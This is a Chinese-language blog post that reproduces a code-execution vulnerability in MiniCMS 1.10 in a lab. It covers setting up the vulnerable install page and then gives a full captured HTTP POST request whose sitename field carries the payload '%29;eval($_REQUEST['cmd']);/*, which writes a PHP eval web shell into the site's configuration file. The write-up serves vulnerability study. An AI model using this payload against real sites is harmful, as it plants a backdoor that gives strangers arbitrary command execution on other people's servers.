MiniCMS代码执行漏洞

type

Post

status

Published

date

May 24, 2022

slug

129

summary

根据CVE漏洞情报描述，MiniCMS 1.10 允许通过 install.php sitename 参数执行任意 PHP 代码，这会影响 mc_conf.php 中的 site_name 字段。实际上，漏洞点不止一个sitename参数。

简述

漏洞环境

MiniCMS

bg5sbk • Updated Jun 14, 2023

下载1.10版本

解压后命名将文件夹为minicms，移动文件夹到web目录下，并将minicms目录下的install.txt文件修改为install.php ，访问 http://yourip/minicms/install.php

（下载的是1.10，不知道为什么显示v1.9）

点击提交并抓包

复现


POST /minicms/install.php HTTP/1.1
Host: 192.168.249.128:81
Content-Length: 98
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.249.128:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.246 Safari/537.36 Qaxbrowser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.249.128:81/minicms/install.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

sitename='%29;eval($_REQUEST['cmd']);/*&sitelink=http%3A%2F%2F192.168.249.128:81%2Fminicms&nickname=%E7%A5%9E%E7%A7%98%E4%BA%BA&username=admin&password=123456&start_install=%E5%BC%80%E5%A7%8B%E5%AE%89%E8%A3%85

将sitename修改为以上的payload '%29;eval($_REQUEST['cmd']);/* ，返回200